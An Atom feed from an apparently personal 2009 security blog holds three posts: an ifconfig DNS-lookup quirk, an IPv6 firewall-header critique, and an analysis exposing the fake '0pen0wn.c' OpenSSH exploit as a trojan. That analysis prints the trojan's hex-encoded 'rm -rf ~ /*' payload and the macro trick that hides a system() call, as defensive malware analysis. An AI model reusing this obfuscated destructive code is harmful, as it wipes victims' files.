<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4002605292885895772</id><updated>2011-09-21T07:04:09.768-07:00</updated><category term='IPv6 security spoofing firewall redirect'/><category term='0day'/><category term='trojan'/><category term='exploit'/><category term='OpenSSH'/><category term='DNS ifconfig OpenBSD wildcard'/><category term='0pen0wn'/><category term='anti-sec'/><title type='text'>Open Zanshin</title><subtitle type='html'>Moro no kokoro</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://openzanshin.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://openzanshin.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Rainer G.</name><uri>http://www.blogger.com/profile/15769917043352180043</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>3</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4002605292885895772.post-6829407321453348100</id><published>2009-08-15T09:21:00.000-07:00</published><updated>2009-08-15T09:26:29.870-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS ifconfig OpenBSD wildcard'/><title type='text'>Confusing ifconfig with funky DNS setups</title><content type='html'>Have you ever mistyped a option for ifconfig? I'm sure you did! What happened?&lt;br /&gt;&lt;br /&gt;Most of the time, you will get a error message like "bad value" or something. In my case the ip address of the interface got set to a strange value. I was really surprised and thought, that I found a bug since i was testing a diff from Henning for ifconfig on OpenBSD at this moment anyway. On a lazy afternoon a few day later, I tried to find the bug together with Pedro. We were laughing our asses off, when we figured out what happened:&lt;br /&gt;&lt;br /&gt;The second argument of ifconfig (the first one after the interface) is tested if it is a option. If it is not, it is tested if it is a valid IP address and sets the IP on this interface. If is is not, guess what, it does a DNS query for this string! Normally the DNS server will not give a valid answer and the error message is printed.&lt;br /&gt;&lt;br /&gt;Yes, just try it:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;# ifconfig em0 www.google.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;will set the IP of google on your interface.&lt;br /&gt;&lt;br /&gt;In my case, the resolver added my domain to the string and asked the DNS server of my domain hoster. They have a wildcard for my domain pointing to their website, so I got their IP everytime I mistyped a option.&lt;br /&gt;&lt;br /&gt;This is definitely one more reason why wildcard DNS records are bad bad bad!&lt;br /&gt;&lt;br /&gt;I don't know why ifconfig is doing this anyway. Maybe it was some poor man's DHCP in the old days?&lt;br /&gt;&lt;br /&gt;That is just hilarious! It would be even more funny, when ifconfig would do the DNS query before scanning internally for options. In this case it would be possible for anybody controlling (or spoofing) the DNS server to change the IP of a interface. Just think about &lt;span style="font-style: italic;"&gt;up.victimsdomain.net&lt;/span&gt;! Fortunately OpenBSD does it in the right order. I'm not aware of systems doing it wrong, but if you know one, please send me a mail.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4002605292885895772-6829407321453348100?l=openzanshin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://openzanshin.blogspot.com/feeds/6829407321453348100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://openzanshin.blogspot.com/2009/08/confusing-ifconfig-with-funky-dns.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default/6829407321453348100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default/6829407321453348100'/><link rel='alternate' type='text/html' href='http://openzanshin.blogspot.com/2009/08/confusing-ifconfig-with-funky-dns.html' title='Confusing ifconfig with funky DNS setups'/><author><name>Rainer G.</name><uri>http://www.blogger.com/profile/15769917043352180043</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4002605292885895772.post-9216748749114315474</id><published>2009-07-17T08:57:00.000-07:00</published><updated>2009-07-22T02:33:42.514-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='anti-sec'/><category scheme='http://www.blogger.com/atom/ns#' term='0day'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenSSH'/><category scheme='http://www.blogger.com/atom/ns#' term='0pen0wn'/><title type='text'>0pen0wn.c uncovered</title><content type='html'>A friend forwarded me a version of 0pen0wn.c, which claims to be&lt;br /&gt;a OpenSSH 5.2 0day exploit (&lt;a href="http://pastebin.com/m86228fd"&gt;http://pastebin.com/m86228fd&lt;/a&gt;),&lt;br /&gt;a couple of days ago. He did not start it because it looked much&lt;br /&gt;like a trojan. At first i was searching for the typical call of&lt;br /&gt;&lt;span style="font-style: italic;"&gt;system()&lt;/span&gt; without finding&lt;br /&gt;it, but it is there.&lt;br /&gt;&lt;br /&gt;The important lines are the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;char jmpcode[] =&lt;br /&gt;      "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"&lt;br /&gt;      "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";&lt;br /&gt;&lt;br /&gt;#define build_frem(x,y,a,b,c) a##c##a##x##y##b&lt;br /&gt;#define fremote build_frem(t,e,s,m,y)&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv){&lt;br /&gt;...&lt;br /&gt;char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;&lt;br /&gt;...&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The &lt;span style="font-style: italic;"&gt;jmpcode&lt;/span&gt; apears to be "rm -rf ~ /* 2&gt; /dev/null &amp;amp;".&lt;br /&gt;This means, that the string &lt;span style="font-style: italic;"&gt;fremote(jmpcode)&lt;/span&gt; in the very&lt;br /&gt;begining of main is:&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;fremote(rm -rf ~ /* 2&gt; /dev/null &amp;amp;)&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now lets have a look at the macros which build &lt;span style="font-style: italic;"&gt;fremote&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#define fremote build_frem(t,e,s,m,y)&lt;/span&gt;&lt;br /&gt;is substituted by &lt;span style="font-style: italic;"&gt;build_frem(t,e,s,m,y) a##c##a##x##y##b&lt;/span&gt;&lt;br /&gt;So x=t, y=e, a=s, b=m, c=y and the macro expands to&lt;br /&gt;s##y##s##t##e##m which is "system".&lt;br /&gt;&lt;br /&gt;Now you have the call &lt;span style="font-style: italic;"&gt;system("rm -rf ~ /* 2&gt; /dev/null &amp;amp;")&lt;/span&gt;&lt;br /&gt;in the second line of main!&lt;br /&gt;&lt;br /&gt;I really wonder, why the authors did not make it public&lt;br /&gt;to many people to do more damage, but if they do one day:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Don't start it!&lt;/span&gt; ;-D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4002605292885895772-9216748749114315474?l=openzanshin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://openzanshin.blogspot.com/feeds/9216748749114315474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://openzanshin.blogspot.com/2009/07/0pen0wnc-uncovered.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default/9216748749114315474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default/9216748749114315474'/><link rel='alternate' type='text/html' href='http://openzanshin.blogspot.com/2009/07/0pen0wnc-uncovered.html' title='0pen0wn.c uncovered'/><author><name>Rainer G.</name><uri>http://www.blogger.com/profile/15769917043352180043</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4002605292885895772.post-3747107159494157466</id><published>2009-07-15T12:02:00.000-07:00</published><updated>2009-07-15T12:25:55.168-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IPv6 security spoofing firewall redirect'/><title type='text'>Firewall Routing Header</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;Some time ago, i read a draft introducing a option for IPv6 called&lt;br /&gt;&lt;/div&gt;the &lt;span style="font-weight: bold;"&gt;FireWall Routing Header (FWRH)&lt;/span&gt;. Its purpose is to make&lt;br /&gt;sure, that a response to a packet goes via a firewall which holds&lt;br /&gt;a state for this connection. Besides this sounds useless - since it&lt;br /&gt;would be better to synchronize the states between the packet&lt;br /&gt;filters - it is also very scary: A host sending a packet usually does&lt;br /&gt;not know that the firewall requires a routing header and just&lt;br /&gt;sends the packet. The firewall will then send back a &lt;span style="font-weight: bold;"&gt;ICMP Error&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Message&lt;/span&gt;(!!) to tell the host to include a &lt;span style="font-weight: bold;"&gt;FWRH &lt;/span&gt;to tell its&lt;br /&gt;communication partner to send its answers to the evil man in the&lt;br /&gt;middle.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Suggesting to sign the &lt;span style="font-weight: bold;"&gt;ICMP Routing Header Required (RHR)&lt;/span&gt;&lt;br /&gt;does not make it much better, since we know that this will not be&lt;br /&gt;used in practice. Even if they are signed locally and the &lt;span style="font-weight: bold;"&gt;ICMP&lt;br /&gt;RHR&lt;/span&gt; messages are blocked from outside of the "internal net"&lt;br /&gt;(whatever this is with IPv6) it is also easy to send spoofed out of&lt;br /&gt;bounds messages with the FWRH set to get the return packets.&lt;br /&gt;One spoofed packet is enough in this case, since the draft&lt;br /&gt;suggests to cache the information, that a routing header has&lt;br /&gt;to be added.&lt;br /&gt;&lt;br /&gt;This is one of the main security problems with IPv6. Old failures&lt;br /&gt;are made again and are underestimated since it is easy to&lt;br /&gt;suggest signing...&lt;br /&gt;&lt;br /&gt;... but this is out of the scope of this document:&lt;br /&gt;&lt;a href="http://tools.ietf.org/html/draft-hain-ipv6-fwrh-00"&gt;http://tools.ietf.org/html/draft-hain-ipv6-fwrh-00&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4002605292885895772-3747107159494157466?l=openzanshin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://openzanshin.blogspot.com/feeds/3747107159494157466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://openzanshin.blogspot.com/2009/07/firewall-routing-header.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default/3747107159494157466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4002605292885895772/posts/default/3747107159494157466'/><link rel='alternate' type='text/html' href='http://openzanshin.blogspot.com/2009/07/firewall-routing-header.html' title='Firewall Routing Header'/><author><name>Rainer G.</name><uri>http://www.blogger.com/profile/15769917043352180043</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
